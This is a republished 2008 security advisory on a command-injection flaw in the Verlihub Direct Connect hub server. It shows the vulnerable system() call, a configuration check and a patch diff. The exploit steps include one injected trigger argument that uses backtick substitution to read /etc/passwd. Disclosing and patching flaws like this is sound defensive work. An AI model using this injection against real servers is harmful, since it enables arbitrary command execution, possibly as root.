Lucene search
K

verlihub <= 0.9.8d-RC2 Remote Command Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Verlihub 0.9.8d-RC2 Remote Command Execution Vulnerabilit

Code

                                                == verlihub &#60;=0.9.8d-RC2 remote r00t / command execution =======================
                                                             |     &#39;       /   |
                                                             /__      ___ (   / 
                                                             \\--`-&#39;-|`---\\ |  
                                                              |&#39; _/   ` __/ /   
                                                              &#39;._  V    ,--&#39;    
                                                                 &#39;_:_._/        

description:--------------------------------------------------------------------
  &#34;Verlihub  is a Direct Connect protocol server; runs on Linux OS; written in
  C++.&#34;
    -- &#60;http://www.verlihub-project.org/&#62;

  Verlihub  does not sanitize user input passed to the shell via its &#34;trigger&#34;
  mechanism.  Furthermore, the Verlihub daemon can optionally be configured to
  run  as  root.  This allows for the arbitrary execution of commands by users
  connected  to  the  hub  and,  in  the  case  of the daemon running as root,
  complete commandeering of the machine.

    -- Code Listing: src/ctrigger.cpp : cTrigger::DoIt() -------------------    
      106  string command(buf);                                        :        
      107  filename = server.mConfigBaseDir;                          ,:        
      108  filename.append(&#34;/tmp/trigger.tmp&#34;);                    | /  \ |     
      109  command.append(&#34; &#62; &#34;);                                 \_\\  //_/    
      110  command.append(filename);                               .&#39;/()\&#39;.     
      111  cout &#60;&#60; command &#60;&#60; endl;                                 \\  //      
      112  system(command.c_str());
    ------------------------------------------------------------------------    

vulnerability check:------------------------------------------------------------
  # grep allow_exec /etc/verlihub/dbconfig
  allow_exec = 1

  or

  # grep allow_exec $HOME/.verlihub/dbconfig
  allow_exec = 1

exploit:------------------------------------------------------------------------
  1. Connect  to  a  hub  with  user  triggers  allowed  and  set up to accept
     arguments;
  2. Run a trigger with a specially crafted argument, e.g.:
       +&#60;trigger&#62; `cat /etc/passwd`
     where &#60;trigger&#62; is the name of the trigger.
  3. ...

patch:--------------------------------------------------------------------------
  $ diff src/ctrigger.cpp src/ctrigger.cpp.new
  9a10
  &#62; #include &#60;stdio.h&#62;
  19a21,33
  &#62; void strip( char * str, char c )
  &#62; {
  &#62;     char * p1 = str;
  &#62;     while ( *p1++ )
  &#62;         if( *p1 == c )
  &#62;         {
  &#62;             char * p2 = p1;
  &#62;             while( *p2 && *p2 == c ) { ++p2; }
  &#62;             if(*p2) { *p1 = *p2; *p2 = c; }
  &#62;             else { *p1 = &#39;\0&#39;; break; }
  &#62;         }
  &#62; }
  &#62;
  107,114c121,145
  &#60;                               filename = server.mConfigBaseDir;
  &#60;                               filename.append(&#34;/tmp/trigger.tmp&#34;);
  &#60;                               command.append(&#34; &#62; &#34;);
  &#60;                               command.append(filename);
  &#60;                               cout &#60;&#60; command &#60;&#60; endl;
  &#60;                               system(command.c_str());
  &#60;                               buf = &#34;&#34;;
  &#60;                               if (!LoadFileInString(filename,buf)) return 0;
  ---
  &#62;                                 char buffer[ 1024 ];
  &#62;                                 FILE * stream;
  &#62;                                 buf = &#34;&#34;;
  &#62;                                 char * cmd = command.c_str();
  &#62;
  &#62;                                 strip( cmd, &#39;;&#39;  ); strip( cmd, &#39;\&#34;&#39; );
  &#62;                                 strip( cmd, &#39;\&#39;&#39; ); strip( cmd, &#39;\\&#39; );
  &#62;                                 strip( cmd, &#39;`&#39;  ); strip( cmd, &#39;:&#39;  );
  &#62;                                 strip( cmd, &#39;!&#39;  ); strip( cmd, &#39;$&#39;  );
  &#62;                                 strip( cmd, &#39;{&#39;  ); strip( cmd, &#39;}&#39;  );
  &#62;                                 strip( cmd, &#39;[&#39;  ); strip( cmd, &#39;]&#39;  );
  &#62;                                 strip( cmd, &#39;&&#39;  ); strip( cmd, &#39;&#62;&#39;  );
  &#62;                                 strip( cmd, &#39;&#60;&#39;  ); strip( cmd, &#39;|&#39;  );
  &#62;                                 strip( cmd, &#39;~&#39;  ); strip( cmd, &#39;/&#39;  );
  &#62;
  &#62;                                 cout &#60;&#60; cmd &#60;&#60; endl;
  &#62;                                 stream = popen( cmd, &#34;r&#34; );
  &#62;                                 if ( stream == NULL )
  &#62;                                     perror( NULL );
  &#62;                                 else
  &#62;                                     while( fgets( buffer, 1024, stream )
  &#62;                                            != NULL )
  &#62;                                         buf.append( buffer );
  &#62;                                 if ( pclose( stream ) == -1 )
  &#62;                                     perror( NULL );

== eof ======================================== by v4lkyrius at gmail dot com ==

# milw0rm.com [2008-11-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation